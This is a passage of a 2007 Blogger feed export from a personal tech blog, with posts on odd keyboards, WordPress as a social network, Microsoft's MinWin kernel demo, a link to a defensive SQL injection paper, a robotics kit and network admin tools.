keyboard fits the shape of the hands to reduce tension.  This may take some getting used to.&lt;a set="yes" linkindex="39" href="http://www.maltron.com/maltron-kbd-ltype-intro.html"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/malton.jpg"&gt; &lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="40" href="http://www.maltron.com/maltron-kbd-flat.html"&gt;The Maltron Executive Keyboard&lt;/a&gt;:  Are you rediculously rich and want a heavy stainless steel keyboard?  Well then this is the keyboard for you!&lt;br&gt;&lt;br /&gt;&lt;a set="yes" linkindex="41" href="http://www.maltron.com/maltron-kbd-flat.html"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/stainless.jpg"&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="42" href="http://www.amazon.com/gp/product/B000J43HJ8?ie=UTF8&amp;amp;tag=satellitescom-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=B000J43HJ8"&gt;Logitech diNovo Edge&lt;/a&gt;&lt;img src="http://www.assoc-amazon.com/e/ir?t=satellitescom-20&amp;amp;l=as2&amp;amp;o=1&amp;amp;a=B000J43HJ8" style="border: medium none  ! important; margin: 0px ! important;" border="0" height="1" width="1"&gt;:  This one’s up there with the Apple Keyboard.  Sleek, Stylish, and with a touch of practicality.. &lt;a set="yes" linkindex="43" href="http://www.amazon.com/gp/product/B000J43HJ8?ie=UTF8&amp;amp;tag=satellitescom-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=B000J43HJ8"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/logitec.jpg"&gt; &lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="44" href="http://www.fingerworks.com/"&gt;Fingerworks Keyboard&lt;/a&gt;:  Strange Keyboard that originally retailed at $340.   The keys are in fact a flat surface, making them awkward to type on.&lt;br&gt;&lt;br /&gt;&lt;a set="yes" linkindex="45" href="http://www.fingerworks.com/"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/strange1.jpg"&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="46" href="http://www.stealthcomputer.com/peripherals_2000IS_DTPM_intrinsicallysafe_keyboard.htm"&gt;The Stealth Computer Keyboard&lt;/a&gt;:  Made of strong component, this keyboard will function in even the most hazardous areas, or so they say. &lt;a set="yes" linkindex="47" href="http://www.stealthcomputer.com/peripherals_2000IS_DTPM_intrinsicallysafe_keyboard.htm"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/stealth.jpg" height="150" width="365"&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="48" href="http://www.pfu.fujitsu.com/direct/hhkbhg/"&gt;Happy Hacking Keyboard&lt;/a&gt;:  This one is also a little hard to explain.  It is supposedly coated using a special brush made from the hair of virgins and sprinkled with gold dust.  And it’ll cost you 525,000 yen.&lt;br&gt;&lt;br /&gt;&lt;a set="yes" linkindex="49" href="http://www.pfu.fujitsu.com/direct/hhkbhg/"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/virginkeyboard.jpg" height="150" width="365"&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="50" href="http://www.amazon.com/gp/product/B000KE1W58?ie=UTF8&amp;amp;tag=satellitescom-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=B000KE1W58"&gt;ElekTex Fabric Keyboard&lt;/a&gt;&lt;img src="http://www.assoc-amazon.com/e/ir?t=satellitescom-20&amp;amp;l=as2&amp;amp;o=1&amp;amp;a=B000KE1W58" style="border: medium none  ! important; margin: 0px ! important;" border="0" height="1" width="1"&gt;:  Similar to the Roll-Up Keyboard above, but a little more flexible and made of a different material.  Good for people always on the go.&lt;br&gt;&lt;br /&gt;&lt;a set="yes" linkindex="51" href="http://www.amazon.com/gp/product/B000KE1W58?ie=UTF8&amp;amp;tag=satellitescom-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=B000KE1W58"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/foldup.jpg" height="150" width="365"&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="52" href="http://www.typematrix.com/ezr2030/"&gt;The EZ Reach Keyboard&lt;/a&gt;:  Another variation of the keyboard.  Why do people feel they must repeatedly reinvent the wheel?&lt;a set="yes" linkindex="53" href="http://www.typematrix.com/ezr2030/"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/ezreach.jpg" alt="EZ Reach"&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="54" href="http://www.amazon.com/gp/product/B0007TJ7TE?ie=UTF8&amp;amp;tag=satellitescom-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=B0007TJ7TE"&gt;Saitek Eclipse Illuminated Keyboard&lt;/a&gt;&lt;img src="http://www.assoc-amazon.com/e/ir?t=satellitescom-20&amp;amp;l=as2&amp;amp;o=1&amp;amp;a=B0007TJ7TE" style="border: medium none  ! important; margin: 0px ! important;" border="0" height="1" width="1"&gt;:  This one should turn a few heads at the LAN Parties.&lt;a set="yes" linkindex="55" href="http://www.assoc-amazon.com/e/ir?t=satellitescom-20&amp;amp;l=as2&amp;amp;o=1&amp;amp;a=B0007TJ7TE"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/saitek.jpg" alt="Saitek"&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Update: &lt;/strong&gt;A lot of our &lt;em&gt;readers suggested&lt;/em&gt; the following keyboards and we responded. Enjoy.&lt;/p&gt;&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="56" href="http://www.daskeyboard.com/" target="_blank"&gt;The Das Keyboard&lt;/a&gt;: This keyboard features highly responsive tactile feedback, and the keys are completely blank.&lt;br&gt;&lt;br /&gt;&lt;a set="yes" linkindex="57" href="http://www.daskeyboard.com/" target="_blank"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/das.jpg" alt="Das Keyboard"&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="58" href="http://www.alphagrips.com/" target="_blank"&gt;The AlphaGrip&lt;/a&gt;: A controller style hand held USB ‘keyboard’ and trackball. Supposedly the “worlds most comfortable computing experience”&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;a set="yes" linkindex="59" href="http://www.alphagrips.com/" target="_blank"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/alphagrip.jpg" alt="The Alphagrip Keyboard Trackball"&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;&lt;p style="width: 100px; text-align: center;"&gt;&lt;strong&gt;Recently Dugg:&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-5283552266032532062?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/5283552266032532062/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=5283552266032532062' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/5283552266032532062'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/5283552266032532062'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2007/12/coolest-keyboards.html' title='coolest keyboards'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-8142090120281034338</id><published>2007-12-12T22:11:00.001-08:00</published><updated>2007-12-12T22:11:56.742-08:00</updated><title type='text'>The Next Social Network: WordPress</title><content type='html'>&lt;img src="http://gigaom.files.wordpress.com/2007/12/wordpress_logo.png" alt="WordPress logo"&gt;Could open-source blogging platform &lt;a set="yes" linkindex="21" href="http://wordpress.org/"&gt;WordPress&lt;/a&gt; serve as your next social networking profile? Chris Messina, co-founder of Citizen Agency, &lt;a set="yes" linkindex="22" href="http://factoryjoe.com/blog/2007/12/06/oauth-10-openid-20-and-up-next-diso/"&gt;thinks so&lt;/a&gt;. He’s started a project called &lt;a set="yes" linkindex="23" href="http://code.google.com/p/diso/"&gt;DiSo&lt;/a&gt;, for distributed social networking, that aims to “build a social network with its skin &lt;a linkindex="24" href="http://factoryjoe.com/blog/2007/12/10/the-inside-out-social-network/"&gt;inside out&lt;/a&gt;.” DiSo will first look to &lt;a set="yes" linkindex="25" href="http://wordpress.org/"&gt;WordPress&lt;/a&gt; as its foundation.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;This could be the next step towards &lt;a linkindex="26" href="http://bradfitz.com/social-graph-problem/"&gt;the unified social graph&lt;/a&gt; that &lt;a linkindex="27" href="http://www.techmeme.com/070817/p99#a070817p99"&gt;some technologists wish for&lt;/a&gt;. WordPress suits the purpose because it provides a person-centric way of coming online, offers an extensible architecture, and already has some features — such as an OpenID and a blogroll plugin — that can be pressed into social networking service. And its users represent exactly the sort of audience that might appreciate the permanent, relatively public identity that DiSo aims to offer.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Why blogs and not Facebook or MySpace &lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;In contrast to social networking, blogging offers a person-centric way for individuals to come online. A social network like Facebook gives you your own place online, but it’s not &lt;em&gt;really&lt;/em&gt; your own place. As Copyblogger Brian Clark recently said &lt;a linkindex="28" href="http://www.copyblogger.com/are-you-someones-user-generated-content/"&gt;in a blog post&lt;/a&gt;, “For me, there’s really no appeal in spending a lot of time creating ‘user-generated’ content via a social networking application. That’s like remodeling the kitchen in a house you rent.”&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Clark was responding to an ongoing conversation launched by blogger and cartoonist Hugh MacLeod, who proposed that &lt;a set="yes" linkindex="29" href="http://www.gapingvoid.com/Moveable_Type/archives/004369.html"&gt;blogging is far more important to him&lt;/a&gt; than social networking. Bloggers including &lt;a linkindex="30" href="http://www.stoweboyd.com/message/2007/11/hugh-macleod-go.html"&gt;Stowe Boyd&lt;/a&gt; and &lt;a linkindex="31" href="http://www.problogger.net/archives/2007/12/09/blogging-vs-social-networking/"&gt;Darren Rowse&lt;/a&gt; seconded the idea. This growing disenchantment with social networking and return to blogging suggests that in the future we could see a migration, at least among tech bloggers, towards more distributed social networking — along the lines of what Messina envisions.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;WordPress, why and how &lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;WordPress is ideal for experimenting with a distributed social network. It has a plug-in architecture that makes it easy to extend. And people who use it are already comfortable to some extent with coming publicly online as individuals. Though there are, of course, WordPress installations that don’t represent just one person, in many cases they do.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Messina, along with &lt;a linkindex="32" href="http://redmonk.net/"&gt;Steve Ivy&lt;/a&gt; and &lt;a set="yes" linkindex="33" href="http://willnorris.com/"&gt;Will Norris&lt;/a&gt;, is exploring how WordPress can serve as a social networking profile. To that end, a blog needs a way to identify itself to other blogs and share its contact lists, ideally in a privacy-protected manner. The &lt;a linkindex="34" href="http://openid.net/"&gt;OpenID&lt;/a&gt; identity standard can serve as a distributed identifier for both a person’s blog and the blogs of people to which that person is related. Messina and his partners plan to develop a WordPress plugin that exposes the contact list. An OpenID plugin for WordPress already exists; it was developed by Will Norris.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Not everyone wants unified social networking&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;WordPress-as-social-network, like the unified social graph meme, will most likely appeal to those who want to create one strong identity online. But not everyone does. Blogger danah boyd has written about how some people &lt;a set="yes" linkindex="35" href="http://www.zephoria.org/thoughts/archives/2007/01/01/ephemeral_profi.html"&gt;use social network identities in an ephemeral manner&lt;/a&gt;. Those who prefer a more multilayered and multifaceted depiction of themselves online might prefer to create multiple social networking profiles on different sites, representing themselves in different ways as the situation demands.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;But those who already use WordPress probably want to build a strong and persistent online presence and identity. Plus they’re the geeky sort, with whom with the idea of a unified, distributed social network might resonate. And at least some of them are refocusing on blogging. The next hot social network might just be built out of blogs.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;iframe src="http://digg.com/api/diggthis.php?u=http%3A%2F%2Fwww.digg.com%2Ftech_news%2FThe_Next_Social_Network_WordPress" style="padding: 4px 0pt 2px 4px; background: rgb(255, 255, 255) none repeat scroll 0%; float: right; margin-left: 10px; margin-bottom: 5px; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" frameborder="0" height="82" scrolling="no" width="55"&gt;&lt;/iframe&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;em&gt;Full disclosure: &lt;a linkindex="36" href="http://automattic.com"&gt;Automattic&lt;/a&gt;, the company behind Wordpress.com is funded by True Ventures, which is also an investor in GigaOM.&lt;/em&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-8142090120281034338?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/8142090120281034338/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=8142090120281034338' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8142090120281034338'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8142090120281034338'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2007/12/next-social-network-wordpress.html' title='The Next Social Network: WordPress'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-8420286684332883156</id><published>2007-12-12T21:55:00.000-08:00</published><updated>2007-12-12T21:58:14.853-08:00</updated><title type='text'>Core of "Windows 7" taking shape: meet the "MinWin" kernel</title><content type='html'>Eric Traut, one of Microsoft's chief operating system design engineers, gave a &lt;a set="yes" linkindex="24" href="http://www.acm.uiuc.edu/conference/2007/video/UIUC-ACM-RP07-Traut.wmv"&gt;fascinating demo&lt;/a&gt; (WMV) recently at the University of Illinois, where he talked about where the Windows core is going and ended with a sneak peek at the kernel of the next version of Windows, known by the exciting codename of "Windows 7."  The demo showed what Windows would look like if it was literally stripped down to the core, showing the kind of work that is going on to optimize the aging NT kernel. &lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Traut runs a team of about 200 software engineers at Microsoft that is responsible for the core kernel scheduling, memory management, boot sequence, and virtualization technology such as Virtual PC and Virtual Server.  The latter technologies are becoming more and more important as servers get more powerful and gain more and more CPU cores, and it was clear from the demonstration that Microsoft is placing significant effort into integrating virtual machine technology into everything that they do.  The release of &lt;a set="yes" linkindex="25" href="http://arstechnica.com/news.ars/post/20060712-7251.html"&gt;Virtual PC&lt;/a&gt; as a free download last year was just the beginning: Windows Server 2008 will ship with significant VM enhancements, and Windows 7 will only carry on from there. &lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;h3&gt;Windows 7&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Why "Windows 7"?  The number is based on Microsoft's internal operating system numbers: the first version of Windows NT, 3.1, was given the same number as the "Classic" Windows when it was released in 1992.  Since then there has been NT 4, Windows 2000 (NT 5), Windows XP (NT 5.1), and Windows Vista (NT 6).  You can check these numbers by typing "ver" at a command prompt on any of these operating systems. &lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;div class="CenteredImage"&gt;&lt;br /&gt;&lt;img class="Bordred" src="http://media.arstechnica.com/news.media/w7.jpg"&gt;&lt;br&gt;&lt;br /&gt;&lt;span class="ImageCaption"&gt;Windows 7 core running in a VM. Note the snazzy ASCII startup screen.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Traut ran a stripped-down version of Windows 7 called "MinWin" that included only the core kernel: for the first time Windows NT has been seen running naked, without even a GUI to dress itself.  It ran only a miniature web server that would display simple HTML pages, including some dynamically-generated pages that showed the task list and other properties of MinWin itself.  Thirteen tasks were running, most of which would be familiar to anyone who has opened Task Manager: smss.exe, csrss.exe, and svchost.exe were all there, plus the mini web server httpsrv.exe.  The OS ran under Virtual PC, and this allowed Traut to show the audience exactly how many resources it was consuming: about 25MB on disk (compare with 14GB for a full Vista install) and 40MB of RAM.  The OS booted up in about 20 seconds inside Virtual PC.  Still not quite as lightweight as, say, AmigaOS or QNX, but remarkably small for Windows.  Traut admitted that he would "still like to see it get smaller." &lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;h3&gt;A virtual future&lt;/h3&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Traut, like most good engineers, is honest about the pros and cons of code that he works on.  "I fully admit that there are some major problems in the Windows OS that are driving some of these [improvements in the core and virtual machine technology]" he said, in full self-deprecating mode.  He reviewed some of the reasons one might want to run older operating systems in a VM, such as backwards compatibility and resource management.  The idea, of course, has been around for a long time—Windows NT 3.1 ran older 16-bit programs in a VM called "Windows on Windows" or "WOW" for short.  The technology has improved since then, however.  Windows Server Virtualization, like VMWare ESX and Xen on Linux, will run in what is called "&lt;a linkindex="26" href="http://arstechnica.com/news.ars/post/20070211-8811.html"&gt;Hypervisor&lt;/a&gt;" mode, where a host OS is not needed.  This greatly improves performance and can take full advantage of new &lt;a linkindex="27" href="http://arstechnica.com/articles/paedia/hardware/Intels-new-vPro-two-steps-forward-for-x86-and-for-DRM-andor-P2P.ars"&gt;on-chip&lt;/a&gt; VM hardware from companies like Intel. Parts of this technology will appear as "&lt;a linkindex="28" href="http://arstechnica.com/journals/microsoft.ars/2007/05/10/viridian-drops-some-core-features-to-ship"&gt;Viridian&lt;/a&gt;" as an add-on for Windows Server 2008. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Traut doesn't believe virtual machines are a panacea, however; he said that sometimes they could be used as a "crutch" to solve a problem that could be better addressed by improving the core of the operating system itself.  However, in server applications, VMs are clearly an idea whose time has come.  Powerful servers that can run multiple OSes at once can blur the line between traditional PC hardware and big-iron mainframes and increase the power of an existing datacenter. &lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Compatibility is another big advantage of VMs.  Traut showed, just for fun, Windows versions 1.03, 2.11, "Classic" 3.1, and NT 4.0,  running under Virtual PC.  Few people need to run applications that are designed for these ancient operating environments, but the point was to demonstrate how VMs can solve even the trickiest of compatibility problems by simply running the entire OS that the application was written for.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;If you don't want to sit through the entire one-hour presentation, istartedsomething.com &lt;a linkindex="29" href="http://www.istartedsomething.com/20071019/eric-talk-demo-windows-7-minwin/"&gt;has a handy nine-minute excerpt&lt;/a&gt; with the MinWin demo.&amp;nbsp;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-8420286684332883156?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/8420286684332883156/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=8420286684332883156' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8420286684332883156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8420286684332883156'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2007/12/core-of-windows-7-taking-shape-meet.html' title='Core of &quot;Windows 7&quot; taking shape: meet the &quot;MinWin&quot; kernel'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-5601764771123246591</id><published>2007-11-24T03:03:00.000-08:00</published><updated>2007-11-24T03:05:31.711-08:00</updated><title type='text'>An Introduction To SQL Injection Attacks For Oracle Developers</title><content type='html'>Most application developers underestimate the risk of SQL injection attacks against web applications that use Oracle as the back-end database.&lt;br /&gt;&lt;br /&gt;This paper is intended for application developers, database administrators, and application auditors to highlight the risk of SQL injection attacks and demonstrate why web applications may be vulnerable.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download the paper in PDF format &lt;a href="http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf"&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-5601764771123246591?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/5601764771123246591/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=5601764771123246591' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/5601764771123246591'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/5601764771123246591'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2007/11/introduction-to-sql-injection-attacks.html' title='An Introduction To SQL Injection Attacks For Oracle Developers'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-8901450495897021338</id><published>2007-11-15T23:44:00.000-08:00</published><updated>2007-11-15T23:48:42.486-08:00</updated><title type='text'>MICRO BOT PROGRAMMING</title><content type='html'>&lt;pre id="line1"&gt;&lt;span style=";font-family:Verdana;font-size:130%;"  &gt;&lt;span style="font-family:Comic Sans MS;"&gt;Learn to program and use the&lt;br /&gt; powerful PIC&lt;/span&gt;™&lt;span style="font-family:Comic Sans MS;"&gt; microcontroller for&lt;br /&gt; artificial intelligence &amp;amp; robotics applications. Build &amp;amp; apply&lt;br /&gt;simple circuits  for  autonomous robot navigation with object&lt;br /&gt; detection &amp;amp; avoidance, light sensing, sonar&lt;br /&gt; range finding, wireless communications,&lt;br /&gt; remote control, and more with the Micro-Bot PIC&lt;/span&gt;™&lt;span style="font-family:Comic Sans MS;"&gt;&lt;br /&gt; robotics development system.&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;a set="yes" linkindex="0" href="http://www.rentron.com/Micro-Bot/index.htm"&gt;Start Here &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-8901450495897021338?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/8901450495897021338/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=8901450495897021338' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8901450495897021338'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/8901450495897021338'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2007/11/learn-to-program-and-use-powerful-pic.html' title='MICRO BOT PROGRAMMING'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-1145751388172490152</id><published>2007-11-15T01:10:00.000-08:00</published><updated>2007-11-15T01:11:37.514-08:00</updated><title type='text'>TOOLS FOR A NETWORK ADMINISTRATOR</title><content type='html'>MY IP Suite&lt;br /&gt;&lt;br /&gt;  MY IP Suite combines domain to IP converters, Tracert, WHOIS, website scanner, batch ping and IP to country converter. With MY IP Suite you can lookup an IP address for single and group of domain names perform batch and pings on the multiple servers at the same time.  You can also track IP addresses to their destination to find out the problems in the connections.  You can also determine the last modified data, name, IP address and the operating system of the remote web server.&lt;br /&gt;&lt;br /&gt;  Desktop Authority&lt;br /&gt;&lt;br /&gt;  Desktop Authority utility manages the Windows Desktop lifecycle and reduces the total cost of the ownership by enabling the network and system administrators to manger, control inventory and secure the desktop computers from the central location.  With the Desktop Authority you manage printer deployments, registry values, software deployments, drive mappings and perform diagnostic methods from the centralized location.&lt;br /&gt;&lt;br /&gt;  Hyena&lt;br /&gt;&lt;br /&gt;Hyena is designed to simply and manages the day to day network management and administrative tasks.  Hyena uses Windows explore type interface to perform all the operations.  The most common features of the Hyena are the management of the users, groups, shares, messages, sessions, open files, devices, events, domains, disk space, job scheduling and processes.  Hyena is compatible with almost all the Windows based operating systems and it can manage a lot of administrative tasks in the Windows 2000 and Windows 2003 Servers.&lt;br /&gt;&lt;br /&gt;IP Sniffer &amp; Web Tracer&lt;br /&gt;&lt;br /&gt;IP Sniffer &amp; Web Tracer is a domain and IP tool that combines, domain IP convert, tracert, PING, website scanner and connection monitor.  The common features of IP Sniffer &amp; Web Tracer are conversion of domain to IP address, IP to domain name, trace IP address and domain, find the country from IP address and you can obtain all the required information based on the IP address such as domain owner, email, postal address, city, state, country and contact phone.&lt;br /&gt;&lt;br /&gt;Remote Control PRO&lt;br /&gt;&lt;br /&gt;Remote Control PRO is a handy tool for the network administrators that allow them to view and manage the remote computers without leaving their seats.  With the Remote Control PRO a network administrator can launch programs, troubleshoot software applications and devices, install drivers, manage users, domains and change computer settings by using his/her keyword and mouse.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-1145751388172490152?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/1145751388172490152/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=1145751388172490152' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/1145751388172490152'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/1145751388172490152'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2007/11/tools-for-network-administrator.html' title='TOOLS FOR A NETWORK ADMINISTRATOR'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-7842826184348935024</id><published>2007-11-15T01:03:00.000-08:00</published><updated>2007-11-15T01:07:12.434-08:00</updated><title type='text'>HOW DOES GOOGLE WORK</title><content type='html'>check this cool link which explains the working of the Biggest search engine today...&lt;br /&gt;&lt;br /&gt;http://infolab.stanford.edu/~backrub/google.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-7842826184348935024?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='enclosure' type='' href='http://infolab.stanford.edu/~backrub/google.html' length='0'/><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/7842826184348935024/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=7842826184348935024' 